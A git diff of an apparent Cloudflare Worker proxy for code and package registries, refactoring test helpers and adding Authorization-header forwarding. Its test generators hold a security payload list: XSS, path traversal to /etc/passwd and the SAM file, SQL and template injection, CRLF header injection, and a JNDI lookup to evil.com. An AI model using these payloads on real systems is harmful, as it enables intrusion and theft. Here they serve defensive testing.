diff --git a/.prettierignore b/.prettierignore
index 7e4335d..f210913 100644
--- a/.prettierignore
+++ b/.prettierignore
@@ -84,4 +84,4 @@ Thumbs.db
# Lock files (optional - uncomment if you want to format them)
# package-lock.json
# yarn.lock
-# pnpm-lock.yaml
\ No newline at end of file
+# pnpm-lock.yaml
diff --git a/src/index.js b/src/index.js
index 0d1560c..ece320a 100644
--- a/src/index.js
+++ b/src/index.js
@@ -1000,6 +1000,11 @@ async function handleRequest(request, env, ctx) {
requestHeaders.set('User-Agent', 'Wget/1.21.3');
requestHeaders.set('Origin', request.headers.get('Origin') || '*');
+ // Forward Authorization header if present (needed for authenticated resources)
+ if (authorization) {
+ requestHeaders.set('Authorization', authorization);
+ }
+
// Handle range requests - but don't forward Range header if we need to cache full content
const rangeHeader = request.headers.get('Range');
diff --git a/test/benchmark/performance.bench.js b/test/benchmark/performance.bench.js
index 60c6fe6..dbc33b9 100644
--- a/test/benchmark/performance.bench.js
+++ b/test/benchmark/performance.bench.js
@@ -139,7 +139,7 @@ describe('Performance Benchmarks', () => {
});
bench('Long path processing', async () => {
- const longPath = '/gh/user/repo/' + 'very-long-path-segment/'.repeat(20) + 'file.txt';
+ const longPath = `/gh/user/repo/${'very-long-path-segment/'.repeat(20)}file.txt`;
await SELF.fetch(`https://example.com${longPath}`, {
method: 'HEAD'
});
diff --git a/test/performance.test.js b/test/features/performance.test.js
similarity index 100%
rename from test/performance.test.js
rename to test/features/performance.test.js
diff --git a/test/range-cache.test.js b/test/features/range-cache.test.js
similarity index 100%
rename from test/range-cache.test.js
rename to test/features/range-cache.test.js
diff --git a/test/security.test.js b/test/features/security.test.js
similarity index 99%
rename from test/security.test.js
rename to test/features/security.test.js
index bb40893..4d5ec49 100644
--- a/test/security.test.js
+++ b/test/features/security.test.js
@@ -99,7 +99,7 @@ describe('Security Features', () => {
});
it('should reject extremely long paths', async () => {
- const longPath = '/gh/' + 'a'.repeat(3000);
+ const longPath = `/gh/${'a'.repeat(3000)}`;
const response = await SELF.fetch(`https://example.com${longPath}`);
expect(response.status).toBe(414);
diff --git a/test/fixtures/responses.js b/test/fixtures/responses.js
index ee0fa56..edb70a0 100644
--- a/test/fixtures/responses.js
+++ b/test/fixtures/responses.js
@@ -1,392 +1,73 @@
/**
- * Mock response fixtures for testing
+ * Mock HTTP response fixtures for testing
+ * Organized by platform with realistic response data
*/
export const MOCK_RESPONSES = {
github: {
packageJson: {
status: 200,
- headers: {
- 'Content-Type': 'application/json',
- 'Cache-Control': 'max-age=300'
- },
+ headers: { 'Content-Type': 'application/json', 'Cache-Control': 'max-age=300' },
body: JSON.stringify({
name: 'vscode',
version: '1.85.0',
- description: 'Visual Studio Code',
- main: './out/main.js',
- scripts: {
- test: 'npm test'
- }
+ description: 'Visual Studio Code'
})
},
-
readme: {
status: 200,
- headers: {
- 'Content-Type': 'text/plain; charset=utf-8'
- },
+ headers: { 'Content-Type': 'text/plain; charset=utf-8' },
body: '# Visual Studio Code\n\nCode editing. Redefined.'
},
-
- release: {
- status: 200,
- headers: {
- 'Content-Type': 'application/octet-stream',
- 'Content-Length': '123456789',
- 'Content-Disposition': 'attachment; filename="vscode-1.85.0.zip"'
- },
- body: 'binary-data-placeholder'
- },
-
- notFound: {
- status: 404,
- headers: {
- 'Content-Type': 'text/plain'
- },
- body: 'Not Found'
- },
-
gitInfoRefs: {
status: 200,
- headers: {
- 'Content-Type': 'application/x-git-upload-pack-advertisement',
- 'Cache-Control': 'no-cache'
- },
+ headers: { 'Content-Type': 'application/x-git-upload-pack-advertisement' },
body: '001e# service=git-upload-pack\n0000009144b8c8cf...'
}
},
- gitlab: {
- packageJson: {
- status: 200,
- headers: {
- 'Content-Type': 'application/json'
- },
- body: JSON.stringify({
- name: 'gitlab',
- version: '16.0.0',
- description: 'GitLab Community Edition'
- })
- },
-
- archive: {
- status: 200,
- headers: {
- 'Content-Type': 'application/zip',
- 'Content-Disposition': 'attachment; filename="gitlab-master.zip"'
- },
- body: 'zip-data-placeholder'
- }
- },
-
- huggingface: {
- modelConfig: {
- status: 200,
- headers: {
- 'Content-Type': 'application/json'
- },
- body: JSON.stringify({
- architectures: ['GPT2LMHeadModel'],
- model_type: 'gpt2',
- vocab_size: 50257,
- n_positions: 1024,
- n_ctx: 1024,
- n_embd: 1024,
- n_layer: 24,
- n_head: 16
- })
- },
-
- modelFile: {
- status: 200,
- headers: {
- 'Content-Type': 'application/octet-stream',
- 'Content-Length': '987654321'
- },
- body: 'model-binary-data-placeholder'
- },
-
- datasetFile: {
- status: 200,
- headers: {
- 'Content-Type': 'application/json'
- },
- body: JSON.stringify({
- data: [
- { question: 'What is AI?', answer: 'Artificial Intelligence...' },
- { question: 'What is ML?', answer: 'Machine Learning...' }
- ]
- })
- }
- },
-
npm: {
packageMetadata: {
status: 200,
- headers: {
- 'Content-Type': 'application/json'
- },
+ headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
name: 'react',
version: '18.2.0',
- description: 'React is a JavaScript library for building user interfaces.',
- main: 'index.js',
- repository: {
- type: 'git',
- url: 'https://github.com/facebook/react.git'
- },
- keywords: ['react', 'javascript', 'ui'],
- license: 'MIT'
+ description: 'React is a JavaScript library for building user interfaces.'
})
- },
-
- packageTarball: {
- status: 200,
- headers: {
- 'Content-Type': 'application/octet-stream',
- 'Content-Disposition': 'attachment; filename="react-18.2.0.tgz"'
- },
- body: 'tarball-data-placeholder'
}
},
pypi: {
simpleIndex: {
status: 200,
- headers: {
- 'Content-Type': 'text/html'
- },
- body: `
-
-
Links for requests
-
-Links for requests
-requests-2.31.0.tar.gz
-requests-2.31.0-py3-none-any.whl
-
-`
- },
-
- packageFile: {
- status: 200,
- headers: {
- 'Content-Type': 'application/gzip',
- 'Content-Disposition': 'attachment; filename="requests-2.31.0.tar.gz"'
- },
- body: 'gzip-data-placeholder'
- },
-
- wheelFile: {
- status: 200,
- headers: {
- 'Content-Type': 'application/zip',
- 'Content-Disposition': 'attachment; filename="requests-2.31.0-py3-none-any.whl"'
- },
- body: 'wheel-data-placeholder'
- }
- },
-
- conda: {
- repodata: {
- status: 200,
- headers: {
- 'Content-Type': 'application/json'
- },
- body: JSON.stringify({
- info: {
- subdir: 'linux-64'
- },
- packages: {
- 'numpy-1.24.3-py311h08b1b3b_1.conda': {
- build: 'py311h08b1b3b_1',
- build_number: 1,
- depends: ['python >=3.11,<3.12.0a0'],
- license: 'BSD-3-Clause',
- name: 'numpy',
- platform: 'linux',
- subdir: 'linux-64',
- timestamp: 1679932871000,
- version: '1.24.3'
- }
- }
- })
- },
-
- packageFile: {
- status: 200,
- headers: {
- 'Content-Type': 'application/x-conda-package',
- 'Content-Disposition': 'attachment; filename="numpy-1.24.3-py311h08b1b3b_1.conda"'
- },
- body: 'conda-package-data-placeholder'
+ headers: { 'Content-Type': 'text/html' },
+ body: 'Links for requests'
}
},
errors: {
- badRequest: {
- status: 400,
- headers: {
- 'Content-Type': 'text/plain'
- },
- body: 'Bad Request'
- },
-
+ notFound: { status: 404, headers: { 'Content-Type': 'text/plain' }, body: 'Not Found' },
+ badRequest: { status: 400, headers: { 'Content-Type': 'text/plain' }, body: 'Bad Request' },
unauthorized: {
status: 401,
- headers: {
- 'Content-Type': 'text/plain'
- },
+ headers: { 'Content-Type': 'text/plain' },
body: 'Unauthorized'
},
-
- forbidden: {
- status: 403,
- headers: {
- 'Content-Type': 'text/plain'
- },
- body: 'Forbidden'
- },
-
- notFound: {
- status: 404,
- headers: {
- 'Content-Type': 'text/plain'
- },
- body: 'Not Found'
- },
-
- methodNotAllowed: {
- status: 405,
- headers: {
- 'Content-Type': 'text/plain',
- Allow: 'GET, HEAD'
- },
- body: 'Method Not Allowed'
- },
-
- pathTooLong: {
- status: 414,
- headers: {
- 'Content-Type': 'text/plain'
- },
- body: 'URI Too Long'
- },
-
internalServerError: {
status: 500,
- headers: {
- 'Content-Type': 'text/plain'
- },
+ headers: { 'Content-Type': 'text/plain' },
body: 'Internal Server Error'
- },
-
- badGateway: {
- status: 502,
- headers: {
- 'Content-Type': 'text/plain'
- },
- body: 'Bad Gateway'
- },
-
- serviceUnavailable: {
- status: 503,
- headers: {
- 'Content-Type': 'text/plain'
- },
- body: 'Service Unavailable'
- },
-
- gatewayTimeout: {
- status: 504,
- headers: {
- 'Content-Type': 'text/plain'
- },
- body: 'Gateway Timeout'
}
}
};
/**
* Create a Response object from mock data
- * @param {Object} mockData - Mock response data
- * @returns {Response} Response object
*/
export function createMockResponse(mockData) {
return new Response(mockData.body, {
status: mockData.status,
- statusText: getStatusText(mockData.status),
headers: mockData.headers
});
}
-
-/**
- * Get status text for HTTP status code
- * @param {number} status - HTTP status code
- * @returns {string} Status text
- */
-function getStatusText(status) {
- const statusTexts = {
- 200: 'OK',
- 201: 'Created',
- 204: 'No Content',
- 301: 'Moved Permanently',
- 302: 'Found',
- 304: 'Not Modified',
- 400: 'Bad Request',
- 401: 'Unauthorized',
- 403: 'Forbidden',
- 404: 'Not Found',
- 405: 'Method Not Allowed',
- 414: 'URI Too Long',
- 429: 'Too Many Requests',
- 500: 'Internal Server Error',
- 502: 'Bad Gateway',
- 503: 'Service Unavailable',
- 504: 'Gateway Timeout'
- };
-
- return statusTexts[status] || 'Unknown';
-}
-
-/**
- * Mock fetch function that returns predefined responses
- * @param {string} url - Request URL
- * @param {Object} options - Fetch options
- * @returns {Promise} Mock response
- */
-export function mockFetchWithFixtures(url, options = {}) {
- return new Promise(resolve => {
- // Simulate network delay
- setTimeout(
- () => {
- const urlObj = new URL(url);
- const path = urlObj.pathname;
-
- // Route to appropriate mock response based on URL pattern
- if (path.includes('/gh/') && path.includes('package.json')) {
- resolve(createMockResponse(MOCK_RESPONSES.github.packageJson));
- } else if (path.includes('/gh/') && path.includes('README.md')) {
- resolve(createMockResponse(MOCK_RESPONSES.github.readme));
- } else if (path.includes('/gl/') && path.includes('package.json')) {
- resolve(createMockResponse(MOCK_RESPONSES.gitlab.packageJson));
- } else if (path.includes('/hf/') && path.includes('config.json')) {
- resolve(createMockResponse(MOCK_RESPONSES.huggingface.modelConfig));
- } else if (path.includes('/npm/') && !path.includes('.tgz')) {
- resolve(createMockResponse(MOCK_RESPONSES.npm.packageMetadata));
- } else if (path.includes('/pypi/simple/')) {
- resolve(createMockResponse(MOCK_RESPONSES.pypi.simpleIndex));
- } else if (path.includes('/conda/') && path.includes('repodata.json')) {
- resolve(createMockResponse(MOCK_RESPONSES.conda.repodata));
- } else if (options.method && !['GET', 'HEAD', 'POST'].includes(options.method)) {
- resolve(createMockResponse(MOCK_RESPONSES.errors.methodNotAllowed));
- } else if (path.length > 2048) {
- resolve(createMockResponse(MOCK_RESPONSES.errors.pathTooLong));
- } else {
- resolve(createMockResponse(MOCK_RESPONSES.errors.notFound));
- }
- },
- Math.random() * 50 + 10
- ); // 10-60ms delay
- });
-}
diff --git a/test/helpers/assertions.js b/test/helpers/assertions.js
new file mode 100644
index 0000000..15d4864
--- /dev/null
+++ b/test/helpers/assertions.js
@@ -0,0 +1,59 @@
+/**
+ * Custom assertions and validation helpers
+ */
+
+/**
+ * Validate response headers for security
+ * @param {Response} response - Response to validate
+ * @returns {Object} Validation results
+ */
+export function validateSecurityHeaders(response) {
+ const requiredHeaders = [
+ 'Strict-Transport-Security',
+ 'X-Frame-Options',
+ 'X-XSS-Protection',
+ 'Content-Security-Policy',
+ 'Referrer-Policy'
+ ];
+
+ const results = {
+ passed: true,
+ missing: [],
+ present: []
+ };
+
+ requiredHeaders.forEach(header => {
+ if (response.headers.has(header)) {
+ results.present.push(header);
+ } else {
+ results.missing.push(header);
+ results.passed = false;
+ }
+ });
+
+ return results;
+}
+
+/**
+ * Assert that a URL is valid
+ * @param {string} url - URL to validate
+ * @returns {boolean} True if valid
+ */
+export function isValidUrl(url) {
+ try {
+ new URL(url);
+ return true;
+ } catch {
+ return false;
+ }
+}
+
+/**
+ * Assert that response has security headers
+ * @param {Response} response - Response to check
+ * @returns {boolean} True if has all security headers
+ */
+export function hasSecurityHeaders(response) {
+ const validation = validateSecurityHeaders(response);
+ return validation.passed;
+}
diff --git a/test/helpers/generators.js b/test/helpers/generators.js
new file mode 100644
index 0000000..df0a29e
--- /dev/null
+++ b/test/helpers/generators.js
@@ -0,0 +1,122 @@
+/**
+ * Test data generators
+ */
+
+/**
+ * Generate test URLs for different platforms
+ * @param {string} platform - Platform identifier (gh, gl, hf, etc.)
+ * @param {string} path - Resource path
+ * @returns {string} Complete test URL
+ */
+export function generateTestUrl(platform, path) {
+ const baseUrl = 'https://example.com';
+ return `${baseUrl}/${platform}/${path}`;
+}
+
+/**
+ * Common test URLs for different platforms
+ */
+export const TEST_URLS = {
+ github: {
+ file: 'https://example.com/gh/microsoft/vscode/blob/main/package.json',
+ raw: 'https://example.com/gh/microsoft/vscode/raw/main/README.md',
+ release: 'https://example.com/gh/microsoft/vscode/archive/refs/heads/main.zip',
+ archive: 'https://example.com/gh/microsoft/vscode/archive/refs/heads/main.zip',
+ git: 'https://example.com/gh/microsoft/vscode.git'
+ },
+ gitlab: {
+ file: 'https://example.com/gl/gitlab-org/gitlab/-/blob/master/package.json',
+ raw: 'https://example.com/gl/gitlab-org/gitlab/-/raw/master/README.md',
+ archive: 'https://example.com/gl/gitlab-org/gitlab/-/archive/master/gitlab-master.zip',
+ git: 'https://example.com/gl/gitlab-org/gitlab.git'
+ },
+ huggingface: {
+ model: 'https://example.com/hf/microsoft/DialoGPT-medium/resolve/main/config.json',
+ dataset: 'https://example.com/hf/datasets/squad/resolve/main/train.json',
+ file: 'https://example.com/hf/microsoft/DialoGPT-medium/resolve/main/pytorch_model.bin'
+ },
+ npm: {
+ package: 'https://example.com/npm/react',
+ tarball: 'https://example.com/npm/react/-/react-18.2.0.tgz',
+ scoped: 'https://example.com/npm/@types/node',
+ npmPackage: 'https://example.com/npm/npm',
+ npmTarball: 'https://example.com/npm/npm/-/npm-11.5.1.tgz'
+ },
+ pypi: {
+ simple: 'https://example.com/pypi/simple/requests/',
+ package: 'https://example.com/pypi/packages/source/r/requests/requests-2.31.0.tar.gz',
+ wheel: 'https://example.com/pypi/packages/py3/r/requests/requests-2.31.0-py3-none-any.whl'
+ },
+ conda: {
+ main: 'https://example.com/conda/pkgs/main/linux-64/numpy-1.24.3.conda',
+ community: 'https://example.com/conda/community/conda-forge/linux-64/repodata.json',
+ repodata: 'https://example.com/conda/pkgs/main/linux-64/repodata.json'
+ }
+};
+
+/**
+ * Security test payloads
+ */
+export const SECURITY_PAYLOADS = {
+ xss: [
+ '',
+ 'javascript:alert(1)',
+ '">',
+ "';alert(1);//"
+ ],
+ pathTraversal: [
+ '../../../etc/passwd',
+ '..%2F..%2F..%2Fetc%2Fpasswd',
+ '..\\..\\..\\windows\\system32\\config\\sam',
+ '%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd'
+ ],
+ injection: ["'; DROP TABLE users; --", '${jndi:ldap://evil.com}', '{{7*7}}', '<%=7*7%>'],
+ headerInjection: [
+ 'value\r\nX-Injected: malicious',
+ 'value\nX-Injected: malicious',
+ 'value\r\n\r\n'
+ ]
+};
+
+/**
+ * Test data generators
+ */
+export const TestDataGenerator = {
+ /**
+ * Generate random string
+ * @param {number} length - String length
+ * @returns {string} Random string
+ */
+ randomString(length = 10) {
+ const chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
+ let result = '';
+ for (let i = 0; i < length; i++) {
+ result += chars.charAt(Math.floor(Math.random() * chars.length));
+ }
+ return result;
+ },
+
+ /**
+ * Generate random GitHub repository path
+ * @returns {string} Repository path
+ */
+ githubRepo() {
+ const users = ['microsoft', 'google', 'facebook', 'apple', 'amazon'];
+ const repos = ['vscode', 'react', 'angular', 'vue', 'node'];
+ const user = users[Math.floor(Math.random() * users.length)];
+ const repo = repos[Math.floor(Math.random() * repos.length)];
+ return `${user}/${repo}`;
+ },
+
+ /**
+ * Generate random file path
+ * @returns {string} File path
+ */
+ filePath() {
+ const dirs = ['src', 'lib', 'test', 'docs', 'config'];
+ const files = ['index.js', 'main.py', 'README.md', 'package.json', 'config.yml'];
+ const dir = dirs[Math.floor(Math.random() * dirs.length)];
+ const file = files[Math.floor(Math.random() * files.length)];
+ return `${dir}/${file}`;
+ }
+};
diff --git a/test/helpers/index.js b/test/helpers/index.js
new file mode 100644
index 0000000..63529a3
--- /dev/null
+++ b/test/helpers/index.js
@@ -0,0 +1,87 @@
+/**
+ * Test helpers - centralized exports
+ */
+
+// Re-export all utilities
+export * from './assertions.js';
+export * from './generators.js';
+export * from './mocks.js';
+
+/**
+ * Performance test utilities
+ */
+export class PerformanceTestHelper {
+ constructor() {
+ this.measurements = [];
+ }
+
+ /**
+ * Measure execution time of an async function
+ * @param {Function} fn - Async function to measure
+ * @param {string} name - Measurement name
+ * @returns {Promise} Function result
+ */
+ async measure(fn, name = 'operation') {
+ const start = performance.now();
+ const result = await fn();
+ const end = performance.now();
+
+ this.measurements.push({
+ name,
+ duration: end - start,
+ timestamp: Date.now()
+ });
+
+ return result;
+ }
+
+ /**
+ * Get all measurements
+ * @returns {Array} Array of measurements
+ */
+ getMeasurements() {
+ return [...this.measurements];
+ }
+
+ /**
+ * Get average duration for a specific measurement name
+ * @param {string} name - Measurement name
+ * @returns {number} Average duration in milliseconds
+ */
+ getAverageDuration(name) {
+ const filtered = this.measurements.filter(m => m.name === name);
+ if (filtered.length === 0) {
+ return 0;
+ }
+
+ const total = filtered.reduce((sum, m) => sum + m.duration, 0);
+ return total / filtered.length;
+ }
+
+ /**
+ * Clear all measurements
+ */
+ clear() {
+ this.measurements = [];
+ }
+}
+
+/**
+ * Test timeout helper
+ * @param {number} ms - Timeout in milliseconds
+ * @returns {Promise} Promise that rejects after timeout
+ */
+export function timeout(ms) {
+ return new Promise((_, reject) => {
+ setTimeout(() => reject(new Error(`Test timed out after ${ms}ms`)), ms);
+ });
+}
+
+/**
+ * Wait for a specified amount of time
+ * @param {number} ms - Time to wait in milliseconds
+ * @returns {Promise} Promise that resolves after the specified time
+ */
+export function wait(ms) {
+ return new Promise(resolve => setTimeout(resolve, ms));
+}
diff --git a/test/helpers/mocks.js b/test/helpers/mocks.js
new file mode 100644
index 0000000..24f095c
--- /dev/null
+++ b/test/helpers/mocks.js
@@ -0,0 +1,124 @@
+/**
+ * Mock creation utilities for tests
+ */
+
+/**
+ * Create a mock request with default options
+ * @param {string} url - Request URL
+ * @param {Object} options - Request options
+ * @returns {Request} Mock request object
+ */
+export function createMockRequest(url, options = {}) {
+ const defaultOptions = {
+ method: 'GET',
+ headers: {
+ 'User-Agent': 'Mozilla/5.0 (Test)',
+ Accept: '*/*'
+ }
+ };
+
+ return new Request(url, { ...defaultOptions, ...options });
+}
+
+/**
+ * Create a mock response with default options
+ * @param {string} body - Response body
+ * @param {Object} options - Response options
+ * @returns {Response} Mock response object
+ */
+export function createMockResponse(body = 'OK', options = {}) {
+ const defaultOptions = {
+ status: 200,
+ statusText: 'OK',
+ headers: {
+ 'Content-Type': 'text/plain'
+ }
+ };
+
+ return new Response(body, { ...defaultOptions, ...options });
+}
+
+/**
+ * Create a Git request for testing
+ * @param {string} url - Git repository URL
+ * @param {string} service - Git service (upload-pack or receive-pack)
+ * @returns {Request} Git request object
+ */
+export function createGitRequest(url, service = 'git-upload-pack') {
+ const gitUrl = url.includes('?') ? `${url}&service=${service}` : `${url}?service=${service}`;
+
+ return new Request(gitUrl, {
+ method: service === 'git-upload-pack' ? 'GET' : 'POST',
+ headers: {
+ 'User-Agent': 'git/2.34.1',
+ 'Git-Protocol': 'version=2',
+ ...(service !== 'git-upload-pack' && {
+ 'Content-Type': `application/x-${service}-request`
+ })
+ }
+ });
+}
+
+/**
+ * Create a Docker request for testing
+ * @param {string} url - Docker registry URL
+ * @param {Object} options - Request options
+ * @returns {Request} Docker request object
+ */
+export function createDockerRequest(url, options = {}) {
+ return new Request(url, {
+ method: 'GET',
+ headers: {
+ 'User-Agent': 'docker/24.0.0',
+ Accept: 'application/vnd.docker.distribution.manifest.v2+json',
+ ...options.headers
+ },
+ ...options
+ });
+}
+
+/**
+ * Mock fetch function for testing
+ * @param {string} url - Request URL
+ * @param {Object} options - Fetch options
+ * @returns {Promise} Mock response
+ */
+export function mockFetch(url, options = {}) {
+ return new Promise(resolve => {
+ setTimeout(() => {
+ if (url.includes('error')) {
+ resolve(createMockResponse('Server Error', { status: 500 }));
+ } else if (url.includes('notfound')) {
+ resolve(createMockResponse('Not Found', { status: 404 }));
+ } else {
+ resolve(createMockResponse('Mock Response', { status: 200 }));
+ }
+ }, 10);
+ });
+}
+
+/**
+ * Create a mock npm registry response
+ * @param {string} packageName - Package name
+ * @param {string} version - Package version
+ * @returns {Object} Mock npm registry response
+ */
+export function createMockNpmRegistryResponse(packageName, version = '1.0.0') {
+ return {
+ name: packageName,
+ versions: {
+ [version]: {
+ name: packageName,
+ version,
+ dist: {
+ tarball: `https://registry.npmjs.org/${packageName}/-/${packageName}-${version}.tgz`,
+ shasum: 'mock-shasum',
+ integrity: 'mock-integrity'
+ }
+ }
+ },
+ 'dist-tags': {
+ latest: version
+ }
+ };
+}
diff --git a/test/helpers/test-utils.js b/test/helpers/test-utils.js
index 2cb0181..66451ea 100644
--- a/test/helpers/test-utils.js
+++ b/test/helpers/test-utils.js
@@ -1,336 +1,8 @@
/**
- * Test utilities and helper functions
+ * Test utilities - backward compatibility wrapper
+ * This file maintains backward compatibility with existing tests
+ * by re-exporting from the new modular structure
*/
-/**
- * Create a mock request with default options
- * @param {string} url - Request URL
- * @param {Object} options - Request options
- * @returns {Request} Mock request object
- */
-export function createMockRequest(url, options = {}) {
- const defaultOptions = {
- method: 'GET',
- headers: {
- 'User-Agent': 'Mozilla/5.0 (Test)',
- Accept: '*/*'
- }
- };
-
- return new Request(url, { ...defaultOptions, ...options });
-}
-
-/**
- * Create a mock response with default options
- * @param {string} body - Response body
- * @param {Object} options - Response options
- * @returns {Response} Mock response object
- */
-export function createMockResponse(body = 'OK', options = {}) {
- const defaultOptions = {
- status: 200,
- statusText: 'OK',
- headers: {
- 'Content-Type': 'text/plain'
- }
- };
-
- return new Response(body, { ...defaultOptions, ...options });
-}
-
-/**
- * Create a Git request for testing
- * @param {string} url - Git repository URL
- * @param {string} service - Git service (upload-pack or receive-pack)
- * @returns {Request} Git request object
- */
-export function createGitRequest(url, service = 'git-upload-pack') {
- const gitUrl = url.includes('?') ? `${url}&service=${service}` : `${url}?service=${service}`;
-
- return new Request(gitUrl, {
- method: service === 'git-upload-pack' ? 'GET' : 'POST',
- headers: {
- 'User-Agent': 'git/2.34.1',
- 'Git-Protocol': 'version=2',
- ...(service !== 'git-upload-pack' && {
- 'Content-Type': `application/x-${service}-request`
- })
- }
- });
-}
-
-/**
- * Generate test URLs for different platforms
- * @param {string} platform - Platform identifier (gh, gl, hf, etc.)
- * @param {string} path - Resource path
- * @returns {string} Complete test URL
- */
-export function generateTestUrl(platform, path) {
- const baseUrl = 'https://example.com';
- return `${baseUrl}/${platform}/${path}`;
-}
-
-/**
- * Common test URLs for different platforms
- */
-export const TEST_URLS = {
- github: {
- file: 'https://example.com/gh/microsoft/vscode/blob/main/package.json',
- raw: 'https://example.com/gh/microsoft/vscode/raw/main/README.md',
- release: 'https://example.com/gh/microsoft/vscode/archive/refs/heads/main.zip',
- archive: 'https://example.com/gh/microsoft/vscode/archive/refs/heads/main.zip',
- git: 'https://example.com/gh/microsoft/vscode.git'
- },
- gitlab: {
- file: 'https://example.com/gl/gitlab-org/gitlab/-/blob/master/package.json',
- raw: 'https://example.com/gl/gitlab-org/gitlab/-/raw/master/README.md',
- archive: 'https://example.com/gl/gitlab-org/gitlab/-/archive/master/gitlab-master.zip',
- git: 'https://example.com/gl/gitlab-org/gitlab.git'
- },
- huggingface: {
- model: 'https://example.com/hf/microsoft/DialoGPT-medium/resolve/main/config.json',
- dataset: 'https://example.com/hf/datasets/squad/resolve/main/train.json',
- file: 'https://example.com/hf/microsoft/DialoGPT-medium/resolve/main/pytorch_model.bin'
- },
- npm: {
- package: 'https://example.com/npm/react',
- tarball: 'https://example.com/npm/react/-/react-18.2.0.tgz',
- scoped: 'https://example.com/npm/@types/node',
- // Test case for the specific npm package that caused the issue
- npmPackage: 'https://example.com/npm/npm',
- npmTarball: 'https://example.com/npm/npm/-/npm-11.5.1.tgz'
- },
- pypi: {
- simple: 'https://example.com/pypi/simple/requests/',
- package: 'https://example.com/pypi/packages/source/r/requests/requests-2.31.0.tar.gz',
- wheel: 'https://example.com/pypi/packages/py3/r/requests/requests-2.31.0-py3-none-any.whl'
- },
- conda: {
- main: 'https://example.com/conda/pkgs/main/linux-64/numpy-1.24.3.conda',
- community: 'https://example.com/conda/community/conda-forge/linux-64/repodata.json',
- repodata: 'https://example.com/conda/pkgs/main/linux-64/repodata.json'
- }
-};
-
-/**
- * Security test payloads
- */
-export const SECURITY_PAYLOADS = {
- xss: [
- '',
- 'javascript:alert(1)',
- '">',
- "';alert(1);//"
- ],
- pathTraversal: [
- '../../../etc/passwd',
- '..%2F..%2F..%2Fetc%2Fpasswd',
- '..\\..\\..\\windows\\system32\\config\\sam',
- '%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd'
- ],
- injection: ["'; DROP TABLE users; --", '${jndi:ldap://evil.com}', '{{7*7}}', '<%=7*7%>'],
- headerInjection: [
- 'value\r\nX-Injected: malicious',
- 'value\nX-Injected: malicious',
- 'value\r\n\r\n'
- ]
-};
-
-/**
- * Performance test utilities
- */
-export class PerformanceTestHelper {
- constructor() {
- this.measurements = [];
- }
-
- /**
- * Measure execution time of an async function
- * @param {Function} fn - Async function to measure
- * @param {string} name - Measurement name
- * @returns {Promise} Function result
- */
- async measure(fn, name = 'operation') {
- const start = performance.now();
- const result = await fn();
- const end = performance.now();
-
- this.measurements.push({
- name,
- duration: end - start,
- timestamp: Date.now()
- });
-
- return result;
- }
-
- /**
- * Get all measurements
- * @returns {Array} Array of measurements
- */
- getMeasurements() {
- return [...this.measurements];
- }
-
- /**
- * Get average duration for a specific measurement name
- * @param {string} name - Measurement name
- * @returns {number} Average duration in milliseconds
- */
- getAverageDuration(name) {
- const filtered = this.measurements.filter(m => m.name === name);
- if (filtered.length === 0) return 0;
-
- const total = filtered.reduce((sum, m) => sum + m.duration, 0);
- return total / filtered.length;
- }
-
- /**
- * Clear all measurements
- */
- clear() {
- this.measurements = [];
- }
-}
-
-/**
- * Mock fetch function for testing
- * @param {string} url - Request URL
- * @param {Object} options - Fetch options
- * @returns {Promise} Mock response
- */
-export function mockFetch(url, options = {}) {
- // Simulate network delay
- return new Promise(resolve => {
- setTimeout(() => {
- if (url.includes('error')) {
- resolve(createMockResponse('Server Error', { status: 500 }));
- } else if (url.includes('notfound')) {
- resolve(createMockResponse('Not Found', { status: 404 }));
- } else {
- resolve(createMockResponse('Mock Response', { status: 200 }));
- }
- }, 10);
- });
-}
-
-/**
- * Create a mock npm registry response
- * @param {string} packageName - Package name
- * @param {string} version - Package version
- * @returns {Object} Mock npm registry response
- */
-export function createMockNpmRegistryResponse(packageName, version = '1.0.0') {
- return {
- name: packageName,
- versions: {
- [version]: {
- name: packageName,
- version: version,
- dist: {
- tarball: `https://registry.npmjs.org/${packageName}/-/${packageName}-${version}.tgz`,
- shasum: 'mock-shasum',
- integrity: 'mock-integrity'
- }
- }
- },
- 'dist-tags': {
- latest: version
- }
- };
-}
-
-/**
- * Validate response headers for security
- * @param {Response} response - Response to validate
- * @returns {Object} Validation results
- */
-export function validateSecurityHeaders(response) {
- const requiredHeaders = [
- 'Strict-Transport-Security',
- 'X-Frame-Options',
- 'X-XSS-Protection',
- 'Content-Security-Policy',
- 'Referrer-Policy'
- ];
-
- const results = {
- passed: true,
- missing: [],
- present: []
- };
-
- requiredHeaders.forEach(header => {
- if (response.headers.has(header)) {
- results.present.push(header);
- } else {
- results.missing.push(header);
- results.passed = false;
- }
- });
-
- return results;
-}
-
-/**
- * Generate random test data
- */
-export const TestDataGenerator = {
- /**
- * Generate random string
- * @param {number} length - String length
- * @returns {string} Random string
- */
- randomString(length = 10) {
- const chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
- let result = '';
- for (let i = 0; i < length; i++) {
- result += chars.charAt(Math.floor(Math.random() * chars.length));
- }
- return result;
- },
-
- /**
- * Generate random GitHub repository path
- * @returns {string} Repository path
- */
- githubRepo() {
- const users = ['microsoft', 'google', 'facebook', 'apple', 'amazon'];
- const repos = ['vscode', 'react', 'angular', 'vue', 'node'];
- const user = users[Math.floor(Math.random() * users.length)];
- const repo = repos[Math.floor(Math.random() * repos.length)];
- return `${user}/${repo}`;
- },
-
- /**
- * Generate random file path
- * @returns {string} File path
- */
- filePath() {
- const dirs = ['src', 'lib', 'test', 'docs', 'config'];
- const files = ['index.js', 'main.py', 'README.md', 'package.json', 'config.yml'];
- const dir = dirs[Math.floor(Math.random() * dirs.length)];
- const file = files[Math.floor(Math.random() * files.length)];
- return `${dir}/${file}`;
- }
-};
-
-/**
- * Test timeout helper
- * @param {number} ms - Timeout in milliseconds
- * @returns {Promise} Promise that rejects after timeout
- */
-export function timeout(ms) {
- return new Promise((_, reject) => {
- setTimeout(() => reject(new Error(`Test timed out after ${ms}ms`)), ms);
- });
-}
-
-/**
- * Wait for a specified amount of time
- * @param {number} ms - Time to wait in milliseconds
- * @returns {Promise} Promise that resolves after the specified time
- */
-export function wait(ms) {
- return new Promise(resolve => setTimeout(resolve, ms));
-}
+// Re-export everything from the new modular helpers
+export * from './index.js';
diff --git a/test/index.test.js b/test/index.test.js
